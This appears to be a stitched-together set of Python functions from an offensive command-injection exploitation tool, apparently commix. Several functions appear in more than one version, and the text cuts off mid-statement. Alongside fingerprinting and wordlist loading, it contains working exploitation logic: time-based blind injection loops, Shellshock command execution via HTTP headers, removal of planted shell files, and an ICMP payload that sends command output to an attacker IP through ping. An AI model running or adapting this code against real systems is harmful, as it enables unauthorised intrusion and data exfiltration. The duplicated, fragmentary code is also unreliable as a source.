def user_agent_header(): if settings.VERBOSITY_LEVEL >= 1: debug_msg = "Setting the HTTP User-Agent header." print(settings.print_debug_msg(debug_msg)) # Check if defined "--random-agent" option. if menu.options.random_agent: if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.mobile: err_msg = "The option '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'." print(settings.print_critical_msg(err_msg)) raise SystemExit() else: if settings.VERBOSITY_LEVEL >= 1: debug_msg = "Fetching random HTTP User-Agent header. " sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() else: pass try: menu.options.agent = random.choice(settings.USER_AGENT_LIST) if settings.VERBOSITY_LEVEL >= 1: print(settings.SUCCESS_STATUS) info_msg = "The fetched random HTTP User-Agent header value is '" + menu.options.agent + "'." print(settings.print_info_msg(info_msg)) except: print(settings.FAIL_STATUS)
def init_request(url): # Number of seconds to wait before timeout connection if settings.VERBOSITY_LEVEL >= 1: debug_msg = "Setting the HTTP timeout." print(settings.print_debug_msg(debug_msg)) if menu.options.timeout: settings.TIMEOUT = menu.options.timeout # Check connection(s) checks.check_connection(url) # Define HTTP User-Agent header user_agent_header() # Check the internet connection (--check-internet switch). if menu.options.check_internet: check_internet(url) # Check if defined POST data if menu.options.data: settings.USER_DEFINED_POST_DATA = menu.options.data # Check if defined character used for splitting parameter values. if menu.options.pdel and menu.options.pdel in settings.USER_DEFINED_POST_DATA: settings.PARAMETER_DELIMITER = menu.options.pdel try: request = _urllib.request.Request(url, menu.options.data.encode()) except SocketError as e: if e.errno == errno.ECONNRESET: error_msg = "Connection reset by peer." print(settings.print_critical_msg(error_msg)) elif e.errno == errno.ECONNREFUSED: error_msg = "Connection refused." print(settings.print_critical_msg(error_msg)) raise SystemExit() else: # Check if defined character used for splitting parameter values. if menu.options.pdel and menu.options.pdel in url: settings.PARAMETER_DELIMITER = menu.options.pdel try: request = _urllib.request.Request(url) except SocketError as e: if e.errno == errno.ECONNRESET: error_msg = "Connection reset by peer." print(settings.print_critical_msg(error_msg)) elif e.errno == errno.ECONNREFUSED: error_msg = "Connection refused." print(settings.print_critical_msg(error_msg)) raise SystemExit() headers.do_check(request) # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: proxy.do_check(url) if settings.VERBOSITY_LEVEL >= 1: debug_msg = "Creating " + str( settings.SCHEME).upper() + " requests opener object." print(settings.print_debug_msg(debug_msg)) # Used a valid pair of valid credentials if menu.options.auth_cred and menu.options.auth_type: info_msg = "Using '" + menu.options.auth_cred + "' pair of " + menu.options.auth_type info_msg += " HTTP authentication credentials." print(settings.print_info_msg(info_msg)) return request
def heuristic_basic(url, http_request_method): injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" technique = "(" + injection_type.split(" ")[0] + ") " + technique + "" if menu.options.skip_heuristics: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping (basic) heuristic detection for " + technique + "." print(settings.print_debug_msg(debug_msg)) return url else: settings.EVAL_BASED_STATE = True try: try: if re.findall(r"=(.*)&", url): url = url.replace("/&", "/e&") elif re.findall(r"=(.*)&", menu.options.data): menu.options.data = menu.options.data.replace("/&", "/e&") except TypeError as err_msg: pass if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Starting (basic) heuristic detection for " + technique + "." print(settings.print_debug_msg(debug_msg)) for payload in settings.PHPINFO_CHECK_PAYLOADS: payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) if not menu.options.data: request = _urllib.request.Request(url.replace(settings.INJECT_TAG, payload)) else: data = menu.options.data.replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) headers.do_check(request) response = requests.get_request_response(request) if type(response) is not bool: html_data = checks.page_encoding(response, action="decode") match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) if match: technique = technique + " (possible PHP version: '" + match.group(1) + "')" settings.IDENTIFIED_PHPINFO = True else: for warning in settings.CODE_INJECTION_WARNINGS: if warning in html_data: settings.IDENTIFIED_WARNINGS = True break if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: info_msg = "Heuristic detection shows that target might be injectable via " + technique + "." print(settings.print_bold_info_msg(info_msg)) break settings.EVAL_BASED_STATE = False return url except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit()
def define_wordlists(): try: usernames = [] if settings.VERBOSITY_LEVEL != 0: debug_msg = "Parsing '" + settings.USERNAMES_TXT_FILE + "' dictionary file for usernames." print(settings.print_debug_msg(debug_msg)) if not os.path.isfile(settings.USERNAMES_TXT_FILE): err_msg = "The username file (" + str( settings.USERNAMES_TXT_FILE) + ") is not found" print(settings.print_critical_msg(err_msg)) raise SystemExit() if len(settings.USERNAMES_TXT_FILE) == 0: err_msg = "The " + str( settings.USERNAMES_TXT_FILE) + " file is empty." print(settings.print_critical_msg(err_msg)) raise SystemExit() with open(settings.USERNAMES_TXT_FILE, "r") as f: for line in f: line = line.strip() usernames.append(line) except IOError: err_msg = " Check if the " + str( settings.USERNAMES_TXT_FILE) + " file is readable or corrupted." print(settings.print_critical_msg(err_msg)) raise SystemExit() try: passwords = [] if settings.VERBOSITY_LEVEL != 0: debug_msg = "Parsing '" + settings.PASSWORDS_TXT_FILE + "' dictionary file for passwords." print(settings.print_debug_msg(debug_msg)) if not os.path.isfile(settings.PASSWORDS_TXT_FILE): err_msg = "The password file (" + str( settings.PASSWORDS_TXT_FILE ) + ") is not found" + Style.RESET_ALL print(settings.print_critical_msg(err_msg)) raise SystemExit() if len(settings.PASSWORDS_TXT_FILE) == 0: err_msg = "The " + str( settings.PASSWORDS_TXT_FILE) + " file is empty." print(settings.print_critical_msg(err_msg)) raise SystemExit() with open(settings.PASSWORDS_TXT_FILE, "r") as f: for line in f: line = line.strip() passwords.append(line) except IOError: err_msg = " Check if the " + str( settings.PASSWORDS_TXT_FIL) + " file is readable or corrupted." print(settings.print_critical_msg(err_msg)) raise SystemExit() return usernames, passwords
def heuristic_basic(url, http_request_method): test_type = "code injection" try: try: if re.findall(r"=(.*)&", url): url = url.replace("/&", "/e&") elif re.findall(r"=(.*)&", menu.options.data): menu.options.data = menu.options.data.replace("/&", "/e&") except TypeError as err_msg: pass if not settings.IDENTIFIED_WARNINGS: if settings.VERBOSITY_LEVEL >= 1: debug_msg = "Performing heuristic (" + test_type + ") test." print(settings.print_debug_msg(debug_msg)) if http_request_method == "GET": request = _urllib.request.Request(url.replace(settings.INJECT_TAG, settings.BASIC_TEST)) else: request = _urllib.request.Request(url, menu.options.data.replace(settings.INJECT_TAG, settings.BASIC_TEST)) headers.do_check(request) response = requests.get_request_response(request) html_data = response.read().decode(settings.UNICODE_ENCODING) for warning in settings.CODE_INJECTION_WARNINGS: if warning in html_data: technique = "dynamic code evaluation technique" info_msg = "Heuristic (" + test_type + ") test shows that target URL might be injectable." print(settings.print_bold_info_msg(info_msg)) settings.IDENTIFIED_WARNINGS = True break return url except _urllib.error.URLError as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit() except _urllib.error.HTTPError as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit()
def classic_command_injection_technique(url, timesec, filename, http_request_method): injection_type = "results-based OS command injection" technique = "classic command injection technique" if not settings.SKIP_COMMAND_INJECTIONS: if (len(menu.options.tech) == 0 or "c" in menu.options.tech): settings.CLASSIC_STATE = None if cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False: if (len(menu.options.tech) == 0 or "e" in menu.options.tech): while True: if not menu.options.batch: settings.CLASSIC_STATE = True question_msg = "Skipping of code injection tests is recommended. " question_msg += "Do you agree? [Y/n] > " procced_option = _input(settings.print_question_msg(question_msg)) else: procced_option = "" if len(procced_option) == 0: procced_option = "Y" if procced_option in settings.CHOICE_YES: settings.SKIP_CODE_INJECTIONS = True break elif procced_option in settings.CHOICE_NO: break elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + procced_option + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: settings.CLASSIC_STATE = False else: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " print(settings.print_debug_msg(debug_msg))
def server_identification(server_banner): found_server_banner = False if settings.VERBOSITY_LEVEL != 0: debug_msg = "Identifying the target server. " sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() for i in range(0,len(settings.SERVER_BANNERS)): match = re.search(settings.SERVER_BANNERS[i].lower(), server_banner.lower()) if match: if settings.VERBOSITY_LEVEL != 0: print(settings.SPACE) if settings.VERBOSITY_LEVEL != 0: debug_msg = "The target server identified as " debug_msg += server_banner + Style.RESET_ALL + "." print(settings.print_bold_debug_msg(debug_msg)) settings.SERVER_BANNER = match.group(0) found_server_banner = True # Set up default root paths if "apache" in settings.SERVER_BANNER.lower(): if settings.TARGET_OS == "win": settings.WEB_ROOT = "\\htdocs" else: settings.WEB_ROOT = "/var/www" elif "nginx" in settings.SERVER_BANNER.lower(): settings.WEB_ROOT = "/usr/share/nginx" elif "microsoft-iis" in settings.SERVER_BANNER.lower(): settings.WEB_ROOT = "\\inetpub\\wwwroot" break else: if settings.VERBOSITY_LEVEL != 0: print(settings.SPACE) warn_msg = "The server which identified as '" warn_msg += server_banner + "' seems unknown." print(settings.print_warning_msg(warn_msg))
def application_identification(url): found_application_extension = False if settings.VERBOSITY_LEVEL != 0: debug_msg = "Identifying the target application." sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() root, application_extension = splitext(_urllib.parse.urlparse(url).path) settings.TARGET_APPLICATION = application_extension[1:].upper() if settings.TARGET_APPLICATION: found_application_extension = True if settings.VERBOSITY_LEVEL != 0: print(settings.SPACE) debug_msg = "The target application identified as " debug_msg += settings.TARGET_APPLICATION + Style.RESET_ALL + "." print(settings.print_bold_debug_msg(debug_msg)) # Check for unsupported target applications for i in range(0,len(settings.UNSUPPORTED_TARGET_APPLICATION)): if settings.TARGET_APPLICATION.lower() in settings.UNSUPPORTED_TARGET_APPLICATION[i].lower(): err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported." print(settings.print_critical_msg(err_msg)) raise SystemExit() if not found_application_extension: if settings.VERBOSITY_LEVEL != 0: print(settings.SPACE) warn_msg = "Heuristics have failed to identify target application." print(settings.print_warning_msg(warn_msg))
def ignore(url): if settings.VERBOSITY_LEVEL >= 1: debug_msg = "Ignoring the stored session from the session file." print(settings.print_debug_msg(debug_msg)) if not os.path.isfile(settings.SESSION_FILE): if settings.VERBOSITY_LEVEL >= 1: err_msg = "The session file does not exist." print(settings.print_critical_msg(err_msg))
def ignore(url): if os.path.isfile(settings.SESSION_FILE): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Ignoring the stored session from the session file due to '--ignore-session' switch." print(settings.print_debug_msg(debug_msg)) else: if settings.VERBOSITY_LEVEL != 0: warn_msg = "Skipping ignoring the stored session, as the session file not exist." print(settings.print_warning_msg(warn_msg))
def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'.\n" sys.stdout.write(settings.print_debug_msg(debug_msg)) if settings.TARGET_OS == "win": cmd = settings.WIN_DEL + OUTPUT_TEXTFILE else: settings.WEB_ROOT = "" cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + " " + settings.COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
def updater(): time.sleep(1) info_msg = "Checking requirements to update " info_msg += settings.APPLICATION + " from GitHub repository. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if menu.options.offline: print(settings.FAIL_STATUS) err_msg = "You cannot update commix via GitHub without access on the Internet." print(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if windows if settings.IS_WINDOWS: print(settings.FAIL_STATUS) err_msg = "For updating purposes on Windows platform, it's recommended " err_msg += "to use a GitHub client for Windows (http://windows.github.com/)." print(settings.print_critical_msg(err_msg)) raise SystemExit() else: try: requirment = "git" # Check if 'git' is installed. requirments.do_check(requirment) if requirments.do_check(requirment) == True: if menu.options.verbose: debug_msg = "commix will try to update itself using '" + requirment + "' command." print(settings.print_debug_msg(debug_msg)) # Check if ".git" exists! if os.path.isdir("./.git"): sys.stdout.write(settings.SUCCESS_STATUS + "\n") sys.stdout.flush() info_msg = "Updating " + settings.APPLICATION + " to the latest (dev) " info_msg += "version. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() revision_num() print("") os._exit(0) else: print(settings.FAIL_STATUS) err_msg = "The '.git' directory not found. Do it manually: " err_msg += Style.BRIGHT + "'git clone " + settings.GIT_URL err_msg += " " + settings.APPLICATION + "' " print(settings.print_critical_msg(err_msg)) raise SystemExit() else: print(settings.FAIL_STATUS) err_msg = requirment + " not found." print(settings.print_critical_msg(err_msg)) raise SystemExit() except Exception as err_msg: print("\n" + settings.print_critical_msg(err_msg)) raise SystemExit()
def filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response): injection_type = "semi-blind command injection" technique = "file-based command injection technique" if not settings.SKIP_COMMAND_INJECTIONS: if (len(menu.options.tech) == 0 or "f" in menu.options.tech): settings.FILE_BASED_STATE = None if fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) != False: settings.FILE_BASED_STATE = True else: settings.FILE_BASED_STATE = False else: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " print(settings.print_debug_msg(debug_msg))
def technology_detection(response): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Identifying the technology supporting the target application. " sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() print(settings.SPACE) if response.info()['X-Powered-By']: if settings.VERBOSITY_LEVEL != 0: debug_msg = "The target application is powered by " debug_msg += response.info()['X-Powered-By'] + Style.RESET_ALL + "." print(settings.print_bold_debug_msg(debug_msg)) else: if settings.VERBOSITY_LEVEL != 0: warn_msg = "Heuristics have failed to identify the technology supporting the target application." print(settings.print_warning_msg(warn_msg))
def encoding_detection(response): if not menu.options.encoding: charset_detected = False if settings.VERBOSITY_LEVEL != 0: debug_msg = "Identifying the indicated web-page charset. " sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() try: # Detecting charset try: # Support for python 2.7.x charset = response.headers.getparam('charset') except AttributeError: # Support for python 3.x charset = response.headers.get_content_charset() if charset != None and len(charset) != 0 : charset_detected = True else: content = re.findall(r"charset=['\"](.*)['\"]", response.read())[0] if len(content) != 0 : charset = content charset_detected = True else: # Check if HTML5 format charset = re.findall(r"charset=['\"](.*?)['\"]", response.read())[0] if len(charset) != 0 : charset_detected = True # Check the identifyied charset if charset_detected : settings.DEFAULT_PAGE_ENCODING = charset if settings.VERBOSITY_LEVEL != 0: print(settings.SPACE) if settings.DEFAULT_PAGE_ENCODING.lower() not in settings.ENCODING_LIST: warn_msg = "The indicated web-page charset " + settings.DEFAULT_PAGE_ENCODING + " seems unknown." print(settings.print_warning_msg(warn_msg)) else: if settings.VERBOSITY_LEVEL != 0: debug_msg = "The indicated web-page charset appears to be " debug_msg += settings.DEFAULT_PAGE_ENCODING + Style.RESET_ALL + "." print(settings.print_bold_debug_msg(debug_msg)) else: pass except: pass if charset_detected == False and settings.VERBOSITY_LEVEL != 0: print(settings.SPACE) warn_msg = "Heuristics have failed to identify indicated web-page charset." print(settings.print_warning_msg(warn_msg))
def cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src): global add_new_line # ICMP exfiltration payload. payload = ("; " + cmd + " | xxd -p -c" + str(exfiltration_length) + " | while read line; do ping -p $line -c1 -s" + str(exfiltration_length * 2) + " -q " + ip_src + "; done") # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Executing the '" + cmd + "' command. " sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload) + "\n") if http_request_method == "GET": url = url.replace(settings.INJECT_TAG, "") data = payload.replace(" ", "%20") req = url + data else: values = {vuln_parameter: payload} data = _urllib.parse.urlencode(values).encode( settings.UNICODE_ENCODING) request = _urllib.request.Request(url=url, data=data) try: sys.stdout.write(Fore.GREEN + Style.BRIGHT + "\n") response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) time.sleep(3) sys.stdout.write(Style.RESET_ALL) if add_new_line: print("\n") add_new_line = True else: print(settings.SPACE) except _urllib.error.HTTPError as err_msg: print(settings.print_critical_msg(str(err_msg.code))) raise SystemExit() except _urllib.error.URLError as err_msg: print( settings.print_critical_msg( str(err_msg.args[0]).split("] ")[1] + ".")) raise SystemExit() except _http_client.InvalidURL as err: print(settings.print_critical_msg(err_msg)) raise SystemExit()
def heuristic_basic(url, http_request_method): technique = "dynamic code evaluation technique" try: try: if re.findall(r"=(.*)&", url): url = url.replace("/&", "/e&") elif re.findall(r"=(.*)&", menu.options.data): menu.options.data = menu.options.data.replace("/&", "/e&") except TypeError as err_msg: pass if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Performing heuristic test for " + technique + "." print(settings.print_debug_msg(debug_msg)) if http_request_method == "GET": request = _urllib.request.Request( url.replace(settings.INJECT_TAG, settings.BASIC_TEST)) else: data = menu.options.data.replace(settings.INJECT_TAG, settings.BASIC_TEST) request = _urllib.request.Request( url, data.encode(settings.UNICODE_ENCODING)) headers.do_check(request) response = requests.get_request_response(request) if type(response) is not bool: html_data = checks.page_encoding(response, action="decode") match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) if match: technique = technique + " (possible PHP version: '" + match.group( 1) + "')" settings.IDENTIFIED_PHPINFO = True else: for warning in settings.CODE_INJECTION_WARNINGS: if warning in html_data: settings.IDENTIFIED_WARNINGS = True break if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: info_msg = "Heuristic test shows that target might be injectable via " + technique + "." print(settings.print_bold_info_msg(info_msg)) return url except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit()
def flush(url): if os.path.isfile(settings.SESSION_FILE): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Flushing the stored session from the session file." print(settings.print_debug_msg(debug_msg)) try: conn = sqlite3.connect(settings.SESSION_FILE) tables = list(conn.execute("SELECT name FROM sqlite_master WHERE type is 'table'")) conn.executescript(';'.join(["DROP TABLE IF EXISTS %s" %i for i in tables])) conn.commit() conn.close() except sqlite3.OperationalError as err_msg: print(settings.SINGLE_WHITESPACE) err_msg = "Unable to flush the session file." + str(err_msg).title() print(settings.print_critical_msg(err_msg)) else: if settings.VERBOSITY_LEVEL != 0: warn_msg = "Skipping flushing the stored session, as the session file not exist." print(settings.print_warning_msg(warn_msg))
def smoke_test(): info_msg = "Executing smoke test." print(settings.print_info_msg(info_msg)) _ = True file_paths = [] for root, directories, filenames in os.walk(settings.COMMIX_ROOT_PATH): file_paths.extend( [os.path.abspath(os.path.join(root, i)) for i in filenames]) for filename in file_paths: if os.path.splitext(filename)[1].lower( ) == ".py" and not "__init__.py" in filename: path = os.path.join(settings.COMMIX_ROOT_PATH, os.path.splitext(filename)[0]) path = path.replace(settings.COMMIX_ROOT_PATH, '.') path = path.replace(os.sep, '.').lstrip('.') if "." in path: try: __import__(path) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Succeeded importing '" + str( path) + "' module." print(settings.print_debug_msg(debug_msg)) except Exception as ex: error_msg = "Failed importing '" + path + "' module due to '" + str( ex) + "'." print(settings.print_error_msg(error_msg)) _ = False result = "Smoke test " if _: result = result + "passed." print(settings.print_bold_info_msg(result)) else: result = result + "failed." print(settings.print_bold_error_msg(result)) raise SystemExit()
def check_for_shell(url, cmd, cve, check_header, filename): try: TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) cmd = "echo " + TAG + "$(" + cmd + ")" + TAG payload = shellshock_exploitation(cve, cmd) debug_msg = "Executing the '" + cmd + "' command. " if settings.VERBOSITY_LEVEL != 0: sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL != 0: sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") header = {check_header : payload} request = _urllib.request.Request(url, None, header) if check_header == "User-Agent": menu.options.agent = payload else: menu.options.agent = default_user_agent log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) # Check if defined any HTTP Proxy. if menu.options.proxy: response = proxy.use_proxy(request) # Check if defined Tor. elif menu.options.tor: response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) shell = response.read().decode(settings.UNICODE_ENCODING).rstrip().replace('\n',' ') shell = re.findall(r"" + TAG + "(.*)" + TAG, shell) shell = ''.join(shell) return shell, payload except _urllib.error.URLError as err_msg: print("\n" + settings.print_critical_msg(err_msg)) raise SystemExit()
def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, url_time_response): counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False possibly_vulnerable = False false_positive_warning = False export_injection_info = False how_long = 0 injection_type = "semi-blind command injection" technique = "tempfile-based injection technique" if settings.TIME_RELATIVE_ATTACK == False: warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) settings.TIME_RELATIVE_ATTACK = None # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: err_msg = "The '--url-reload' option is not available in " + technique + "!" print(settings.print_critical_msg(err_msg)) if not settings.LOAD_SESSION: # Change TAG on every request to prevent false-positive resutls. TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) if settings.VERBOSITY_LEVEL != 0: info_msg ="Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " print(settings.print_info_msg(info_msg)) #whitespace = checks.check_whitespaces() # Calculate all possible combinations total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACES: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. how_long_statistic = [] if settings.LOAD_SESSION: try: settings.TEMPFILE_BASED_STATE = True cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() else: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # The output file for file-based injection technique. OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" alter_shell = menu.options.alter_shell tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: # Tempfile-based decision payload (check if host is vulnerable). if alter_shell : payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) else: payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) print(settings.print_payload(payload)) # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter(menu.options.host) how_long = tfb_injector.host_injection_test(url, vuln_parameter, payload) # Custom HTTP header injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom HTTP header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url) # Statistical analysis in time responses. how_long_statistic.append(how_long) # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) if percent == 100 and no_result == True: if settings.VERBOSITY_LEVEL == 0: percent = settings.FAIL_STATUS else: percent = "" else: if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: # Simple statical analysis statistical_anomaly = True if len(set(how_long_statistic[0:5])) == 1: if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1: statistical_anomaly = False how_long_statistic = [] if timesec <= how_long and not statistical_anomaly: false_positive_fixation = True else: false_positive_warning = True # Identified false positive warning message. if false_positive_warning: warn_msg = "Unexpected time delays have been identified due to unstable " warn_msg += "requests. This behavior may lead to false-positive results.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) while True: if not menu.options.batch: question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " proceed_option = _input(settings.print_question_msg(question_msg)) else: proceed_option = "" if len(proceed_option) == 0: proceed_option = "c" if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": false_positive_fixation = False raise elif proceed_option.lower() == "c": timesec = timesec + 1 false_positive_fixation = True break elif proceed_option.lower() == "q": raise SystemExit() else: err_msg = "'" + proceed_option + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec if false_positive_warning: time.sleep(1) randv1 = random.randrange(0, 4) randv2 = random.randrange(1, 5) randvcalc = randv1 + randv2 if settings.TARGET_OS == "win": if alter_shell: cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" else: cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")" else: cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))" # Set the original delay time original_how_long = how_long # Check for false positive resutls how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response) if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if str(output) == str(randvcalc) and len(TAG) == output_length: possibly_vulnerable = True how_long_statistic = 0 if settings.VERBOSITY_LEVEL == 0: percent = settings.info_msg else: percent = "" #break else: break # False positive else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue if settings.VERBOSITY_LEVEL == 0: info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: if 